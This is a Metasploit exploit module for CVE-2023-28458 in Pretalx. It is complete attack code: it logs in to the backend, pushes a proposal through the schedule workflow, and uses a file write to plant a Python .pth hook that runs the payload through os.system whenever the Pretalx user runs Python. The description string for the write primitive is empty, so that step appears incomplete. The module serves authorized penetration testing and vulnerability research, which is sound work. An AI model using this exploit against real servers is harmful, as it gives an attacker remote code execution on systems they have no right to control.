## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Pretalx prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Pretalx Limited File Write to Remote Code Execution', 'Description' => %q{ This module exploits CVE-2023-28458, a limited file write in Pretalx, up to version 2.3.1. The module will use the vulnerability to write a malicious site-specific configuration hook forPython. Once hook is written, payload will be executed every time Pretalx user runs any Python code. Pretalx needs to run in debug mode to exploit this. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stefan Schiller', # security researcher 'msutovsky-r7' # module dev ], 'References' => [ [ 'URL', 'https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/'], [ 'CVE', '2023-28458'] ], 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Linux Target', { 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'linux'] } ] ], 'DefaultOptions' => { 'WfsDelay' => 60 * 5 }, 'DisclosureDate' => '2023-03-07', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('EMAIL', [true, 'User email to Pretalx backend']), OptString.new('PASSWORD', [true, 'Password to Pretalx backend']), OptString.new('PYTHON_VERSION', [true, 'Python version running on target machine', 'python3.8']) ]) end def check return Exploit::CheckCode::Unknown, 'Login failed, please check credentials' unless login(datastore['EMAIL'], datastore['PASSWORD']) @logged_in = true version_element = get_version return Exploit::CheckCode::Safe('Debug mode is not enabled') unless debug? return Exploit::CheckCode::Appears("Detected vulnerable version #{version_element} and debug mode is enabled") if version_element <= Rex::Version.new('2.3.1') return Exploit::CheckCode::Safe("Detected version #{version_element} is not vulnerable") rescue UnexpectedResponseError return Exploit::CheckCode::Unknown('Received unexpected response, check your options') rescue VersionCheckError return Exploit::CheckCode::Detected('Pretalx detected, failed to verify version') rescue CsrfError return Exploit::CheckCode::Unknown('Failed to get CSRF token') rescue SessionCookieError return Exploit::CheckCode::Detected('Pretalx detected, failed to get session cookie - check your credentials') rescue DebugError return Exploit::Checkcode::Detected('Failed to check if debug mode is enabled') end def exploit vprint_status('Registering malicious speaker and proposal') proposal_info = { email: datastore['EMAIL'], password: datastore['PASSWORD'] } registration_info = register_proposal(proposal_info) proposal_name = registration_info[:proposal_name] vprint_status("Logging with credentials: #{datastore['EMAIL']}/#{datastore['PASSWORD']}") fail_with Failure::NoAccess, 'Incorrect credentials' unless @logged_in || login(datastore['EMAIL'], datastore['PASSWORD']) vprint_status('Approving proposal') proposal_id = approve_proposal(proposal_name) vprint_status('Uploading resource with payload') resource_name = Rex::Text.rand_text_alphanumeric(5) resource_data = %(import os;os.system("#{payload.encoded}") ) res = edit_proposal(Rex::Text.rand_text_alphanumeric(4), '', proposal_id, proposal_name, "#{resource_name}.pth", resource_data) fail_with Failure::PayloadFailed unless res.body =~ /#{resource_name}_([a-zA-Z0-9]+)\.pth/ full_resource_name = "#{resource_name}_#{Regexp.last_match(1)}.pth" vprint_status('Inserts write primitve') write_primitive_description = "" edit_proposal(Rex::Text.rand_text_alphanumeric(4), write_primitive_description, proposal_id, proposal_name, '', '') vprint_status('Adding proposal to schedule') add_proposal_to_schedule(proposal_name) vprint_status('Releasing schedule') release_schedule vprint_status('Exporting schedule') export_zip vprint_status('Waiting for cron to run Python under Pretalx user') end end